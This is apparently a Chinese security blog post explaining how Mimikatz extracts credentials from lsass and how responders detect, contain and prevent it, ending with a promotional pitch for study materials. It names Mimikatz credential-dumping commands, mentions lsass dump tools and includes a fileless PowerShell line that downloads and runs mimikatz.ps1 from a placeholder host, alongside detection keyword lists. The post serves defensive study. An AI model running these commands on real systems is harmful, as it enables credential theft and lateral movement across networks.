網(wǎng)憑證安全:Mimikatz 原理與憑證抓取痕跡檢測)
內(nèi)網(wǎng)憑證安全Mimikatz 原理與憑證抓取痕跡檢測前言在內(nèi)網(wǎng)滲透鏈條里憑證抓取是橫向移動的核心轉(zhuǎn)折點(diǎn)。攻擊者拿下一臺主機(jī)權(quán)限之后第一件事往往不是種植木馬而是抓取系統(tǒng)內(nèi)存中的賬號憑證。拿到明文密碼或者 NTLM Hash就可以在內(nèi)網(wǎng)中使用 Pass-the-Hash哈希傳遞、Overpass-the-Hash票據(jù)傳遞等技術(shù)不需要破解密碼直接訪問內(nèi)網(wǎng)其他主機(jī)、域控制器。Mimikatz 是內(nèi)網(wǎng)滲透最經(jīng)典的憑證抓取工具也是應(yīng)急響應(yīng)中最高頻碰到的攻擊工具。很多安全人員聽過這個(gè)工具但是不清楚它抓取憑證的底層原理也不知道該如何在 Windows 主機(jī)上發(fā)現(xiàn) Mimikatz 執(zhí)行痕跡。本文講解 Mimikatz 核心原理、可以抓取哪些憑證、執(zhí)行后的系統(tǒng)痕跡以及對應(yīng)的檢測、防御手段適合內(nèi)網(wǎng)應(yīng)急排查、紅藍(lán)對抗學(xué)習(xí)。??法律聲明本文僅用于企業(yè)授權(quán)環(huán)境安全自查、網(wǎng)絡(luò)安全學(xué)習(xí)。未經(jīng)授權(quán)在主機(jī)上抓取憑證、竊取賬號信息、橫向滲透屬于違法行為禁止非法測試。一、Mimikatz 是什么Mimikatz 是一款由法國開發(fā)者 Benjamin Delpy 開發(fā)的開源工具原生功能是從 Windows lsass 進(jìn)程內(nèi)存中提取緩存的身份憑證。它不僅可以抓取本地賬號密碼還能導(dǎo)出 Kerberos 票據(jù)、NTLM Hash、PIN 碼、證書等多種身份信息。很多人誤區(qū)Mimikatz 不是病毒只是一個(gè)憑證提取工具。攻擊者經(jīng)常搭配 PowerShell 無文件方式加載 Mimikatz不需要落地 exe隱蔽性極強(qiáng)。二、核心原理lsass 進(jìn)程與內(nèi)存憑證1. lsass.exe 介紹LSASSLocal Security Authority Subsystem Service本地安全授權(quán)子系統(tǒng)服務(wù)Windows 系統(tǒng)核心進(jìn)程PID 一般較高。作用用戶登錄時(shí)驗(yàn)證賬號密碼在內(nèi)存中緩存登錄憑證、NTLM Hash、Kerberos TGT 票據(jù)管理本地安全策略當(dāng)用戶登錄 Windows本地登錄、RDP 登錄、域賬號登錄身份信息會被 lsass 加載到內(nèi)存。舊版 WindowsWin7、Server2008R2、Win10 早期版本默認(rèn)會在內(nèi)存保存明文密碼Mimikatz 就是讀取 lsass 內(nèi)存直接把這些憑證讀取出來。2. sekurlsa 模塊Mimikatz 王牌功能最常用命令sekurlsa::logonpasswords執(zhí)行這條命令Mimikatz 讀取 lsass 內(nèi)存輸出所有當(dāng)前登錄會話的憑證Username賬號名Domain機(jī)器名 / 域名NTLMNTLM 哈希SHA1SHA1 哈希Password明文密碼系統(tǒng)允許保存明文時(shí)才會出現(xiàn)3. 其他常用 Mimikatz 模塊# 獲取kerberos票據(jù) sekurlsa::tickets # 導(dǎo)出證書 crypto::certificates # 哈希傳遞 sekurlsa::pth4. Windows 版本差異重點(diǎn)Windows 7 / Server 2008R2默認(rèn)內(nèi)存保留明文Mimikatz 一鍵拿明文密碼Windows10 1809 之后、Server2019 及以上默認(rèn)開啟 LSA 保護(hù)LSA Protectionlsass 受保護(hù)普通 Mimikatz 無法直接讀取內(nèi)存明文攻擊者對策關(guān)閉 LSA 保護(hù)、使用驅(qū)動繞過、dump lsass 內(nèi)存文件離線分析。三、Mimikatz 常見執(zhí)行方式不同方式痕跡不一樣方式 1直接運(yùn)行 mimikatz.exe痕跡最明顯上傳 mimikatz.exe 到主機(jī)cmd 直接執(zhí)行。痕跡存在 mimikatz.exe 文件進(jìn)程名稱安全日志記錄打開 lsass 行為。方式 2PowerShell 無文件加載內(nèi)網(wǎng)最常用隱蔽通過 Base64 編碼遠(yuǎn)程下載腳本內(nèi)存中直接加載 Mimikatz不落地 exe。# 典型無文件加載僅演示原理禁止執(zhí)行 IEX (New-Object System.Net.WebClient).DownloadString(http://xxx/mimikatz.ps1)痕跡不會留下 mimikatz 二進(jìn)制文件但是 PowerShell 腳本塊日志會捕獲 base64 字符串、sekurlsa 關(guān)鍵字。方式 3dump lsass 內(nèi)存離線提取憑證高級手法攻擊者不直接在本機(jī)讀取 lsass而是把 lsass 進(jìn)程內(nèi)存轉(zhuǎn)儲成文件如 lsass.dmp下載到自己機(jī)器本地使用 Mimikatz 分析 dump 文件。優(yōu)勢規(guī)避 lsass 實(shí)時(shí)訪問檢測主機(jī)上不會直接運(yùn)行 Mimikatz應(yīng)急很容易漏掉。工具procdump、tasklistcomsvcs、Windows 自帶任務(wù)管理器都可以導(dǎo)出 lsass 轉(zhuǎn)儲文件。四、Mimikatz 執(zhí)行后的痕跡檢測應(yīng)急排查重點(diǎn)1. 進(jìn)程訪問 lsass 的審計(jì)日志EventID:4663開啟對象訪問審計(jì)策略后如果一個(gè)非系統(tǒng)進(jìn)程嘗試打開 lsass.exe會生成 4663 事件。事件描述嘗試訪問lsass.exe進(jìn)程對象訪問權(quán)限PROCESS_VM_READ。含義進(jìn)程嘗試讀取 lsass 內(nèi)存是 Mimikatz/procdump 最典型特征。2. PowerShell 腳本塊日志 EventID 4104如果攻擊者用 PowerShell 加載 mimikatz.ps1開啟腳本塊日志后4104 事件會捕獲惡意代碼重點(diǎn)搜索關(guān)鍵詞mimikatz、sekurlsa、logonpasswords、kerberos、pth、privilege::debugprivilege::debug 是 Mimikatz 內(nèi)置命令用于提升權(quán)限讀取 lsass 內(nèi)存這個(gè)字符串出現(xiàn)基本可以判定 Mimikatz 執(zhí)行。3. lsass 內(nèi)存轉(zhuǎn)儲文件痕跡查找磁盤上是否存在 lsass.dmp、*.dmp 內(nèi)存轉(zhuǎn)儲文件。where /r C:\ *.dmp可疑位置C:\Temp、%AppData%\Temp、C:\Windows\Temp4. 日志與命令歷史PowerShell 歷史文件ConsoleHost_history.txt搜索 sekurlsa、mimikatzcmd 歷史查找 procdump、tasklist、rundll32 等用于 dump 內(nèi)存的命令。5. 其他系統(tǒng)特征攻擊者執(zhí)行 Mimikatz 需要 SeDebugPrivilege 調(diào)試權(quán)限日志中可查看權(quán)限提升行為大量 Kerberos 票據(jù)導(dǎo)出可在安全日志觀察異常票據(jù)請求。五、Pass-the-Hash哈希傳遞簡單理解Mimikatz 拿到 NTLM Hash 之后不需要破解密碼直接使用哈希在局域網(wǎng)進(jìn)行身份認(rèn)證也就是哈希傳遞?,F(xiàn)象日志 4624 登錄成功但是沒有明文密碼溯源登錄事件中可以看到來源 IP攻擊者利用拿到的 NTLM 哈希橫向訪問其他主機(jī)。風(fēng)險(xiǎn)一旦域管理員賬號的 NTLM Hash 被導(dǎo)出攻擊者可以接管整個(gè)域。六、應(yīng)急處置流程發(fā)現(xiàn) Mimikatz 抓取憑證怎么辦隔離主機(jī)斷開主機(jī)內(nèi)網(wǎng)防止攻擊者繼續(xù)使用竊取到的憑證橫向移動證據(jù)采集優(yōu)先導(dǎo)出內(nèi)存鏡像導(dǎo)出安全日志、PowerShell 日志保留原始證據(jù)判斷憑證泄露范圍本地普通賬號泄露修改本機(jī)賬號密碼域賬號泄露立刻重置域賬號密碼強(qiáng)制注銷所有登錄會話查找橫向痕跡根據(jù)登錄日志查看攻擊者使用該憑證訪問過哪些內(nèi)網(wǎng) IP清理持久化后門檢查計(jì)劃任務(wù)、注冊表、WMI 訂閱、賬號后門排查是否導(dǎo)出 Kerberos 票據(jù)防止票據(jù)復(fù)用。重點(diǎn)提醒僅僅修改被攻陷主機(jī)密碼不夠。如果攻擊者拿到域賬號憑證攻擊者可以在其他機(jī)器繼續(xù)使用憑證域賬號必須重置。七、防御手段防止憑證被 Mimikatz 抓取開啟 LSA 保護(hù)LSA ProtectionWindows 8.1/2012R2 及以上支持保護(hù) lsass 進(jìn)程阻止非授權(quán)程序讀取內(nèi)存。注冊表開啟 LSA 保護(hù)HKLM\SYSTEM\CurrentControlSet\Control\Lsa ProtectedModedword:00000001開啟 PowerShell 腳本塊日志記錄 PowerShell 執(zhí)行代碼開啟對象訪問審計(jì)監(jiān)控 lsass 進(jìn)程訪問行為最小權(quán)限原則普通用戶不授予 SeDebugPrivilege 調(diào)試權(quán)限內(nèi)網(wǎng)關(guān)閉不必要的 NTLM 協(xié)議優(yōu)先使用 Kerberos限制 SMB、WMI、WinRM 遠(yuǎn)程訪問僅運(yùn)維白名單 IP 允許訪問日志集中遠(yuǎn)程存儲攻擊者無法本地刪除審計(jì)日志。八、常見排查誤區(qū)沒有找到 mimikatz.exe就認(rèn)為沒有被抓取憑證無文件加載、dump 內(nèi)存離線分析磁盤不會存在 mimikatz.exe只靠檢索文件會漏檢。認(rèn)為開啟 LSA 保護(hù)就 100% 安全LSA 保護(hù)可以防護(hù)普通 Mimikatz但是存在驅(qū)動級繞過、漏洞繞過手段不能作為唯一防御手段。抓到 Mimikatz 痕跡只修改本機(jī)本地賬號密碼最嚴(yán)重的情況是域賬號憑證泄露只改本地賬號攻擊者依舊可以用域賬號在內(nèi)網(wǎng)橫行。忽略 dump 文件攻擊者 dump 內(nèi)存文件下載到本地分析本機(jī)不會運(yùn)行 Mimikatz很多排查人員忽略 dmp 文件。九、排查命令合集PowerShell 檢索 4104 腳本塊日志查找 mimikatz 特征Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational | Where-Object {$_.Id -eq 4104} | Select-Object TimeCreated,Message檢索磁盤 dmp 轉(zhuǎn)儲文件where /r C:\ *.dmp檢索 PowerShell 歷史文件type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt結(jié)尾Mimikatz 本身只是工具真正的危害是憑證泄露帶來的內(nèi)網(wǎng)橫向擴(kuò)散。很多入侵事件中攻擊者拿下一臺普通終端抓取域賬號憑證最后拿下域控整個(gè)內(nèi)網(wǎng)淪陷。應(yīng)急排查不能只找惡意程序重點(diǎn)監(jiān)控讀取 lsass 內(nèi)存、內(nèi)存轉(zhuǎn)儲、PowerShell 惡意腳本這類憑證抓取行為。防御層面LSA 保護(hù)、審計(jì)日志、最小權(quán)限、遠(yuǎn)程日志存儲組合起來才能有效對抗憑證竊取攻擊。免責(zé)聲明本文僅供網(wǎng)絡(luò)安全學(xué)習(xí)、企業(yè)授權(quán)環(huán)境安全自查。任何未經(jīng)授權(quán)竊取賬號憑證、哈希傳遞橫向訪問計(jì)算機(jī)系統(tǒng)均違反《網(wǎng)絡(luò)安全法》《刑法》相關(guān)規(guī)定作者不承擔(dān)非法使用帶來的法律責(zé)任。了解網(wǎng)絡(luò)安全首先要搞清楚下面這些前提網(wǎng)絡(luò)安全到底包含哪些技術(shù)是否需要會編程網(wǎng)絡(luò)安全行業(yè)有哪些職業(yè)方向“我”該如何選擇網(wǎng)絡(luò)安全的職業(yè)發(fā)展和成長路線是什么如果你是準(zhǔn)備學(xué)習(xí)網(wǎng)絡(luò)安全黑客或者正在學(xué)習(xí)下面這些你應(yīng)該能用得上①網(wǎng)絡(luò)安全學(xué)習(xí)路線②20份滲透測試電子書③安全攻防357頁筆記④50份安全攻防面試指南⑤安全紅隊(duì)滲透工具包⑥網(wǎng)絡(luò)安全必備書籍⑦100個(gè)漏洞實(shí)戰(zhàn)案例⑧安全大廠內(nèi)部視頻資源⑨歷年CTF奪旗賽題解析一、網(wǎng)絡(luò)安全黑客學(xué)習(xí)路線網(wǎng)絡(luò)安全黑客學(xué)習(xí)路線形成網(wǎng)絡(luò)安全領(lǐng)域所有的知識點(diǎn)匯總它的用處就在于你可以按照上面的知識點(diǎn)去找對應(yīng)的學(xué)習(xí)資源保證自己學(xué)得較為全面。二、網(wǎng)絡(luò)安全教程視頻我們在看視頻學(xué)習(xí)的時(shí)候不能光動眼動腦不動手比較科學(xué)的學(xué)習(xí)方法是在理解之后運(yùn)用它們這時(shí)候練手項(xiàng)目就很適合了。三、網(wǎng)絡(luò)安全CTF實(shí)戰(zhàn)案例光學(xué)理論是沒用的要學(xué)會跟著一起敲要?jiǎng)邮謱?shí)操才能將自己的所學(xué)運(yùn)用到實(shí)際當(dāng)中去這里帶來的是CTFSRC資料HW資料畢竟實(shí)戰(zhàn)是檢驗(yàn)真理的唯一標(biāo)準(zhǔn)嘛~四、網(wǎng)絡(luò)安全面試題最后我們所有的作為都是為就業(yè)服務(wù)的所以關(guān)鍵的臨門一腳就是咱們的面試題內(nèi)容所以面試題板塊是咱們不可或缺的部分這里我給大家準(zhǔn)備的就是我在面試期間準(zhǔn)備的資料。網(wǎng)安其實(shí)不難難的是堅(jiān)持和相信自己我的經(jīng)驗(yàn)是既然已經(jīng)選定網(wǎng)安你就要相信它相信它能成為你日后進(jìn)階的高效渠道這樣自己才會更有信念去學(xué)習(xí)才能在碰到困難的時(shí)候堅(jiān)持下去。機(jī)會屬于有準(zhǔn)備的人這是一個(gè)實(shí)力的時(shí)代。人和人之間的差距不在于智商而在于如何利用業(yè)余時(shí)間只要你想學(xué)習(xí)什么時(shí)候開始都不晚不要擔(dān)心這擔(dān)心那你只需努力剩下的交給時(shí)間這份完整版的網(wǎng)絡(luò)安全學(xué)習(xí)資料已經(jīng)上傳CSDN朋友們?nèi)绻枰梢晕⑿艗呙柘路紺SDN官方認(rèn)證二維碼免費(fèi)領(lǐng)取【保證100%免費(fèi)】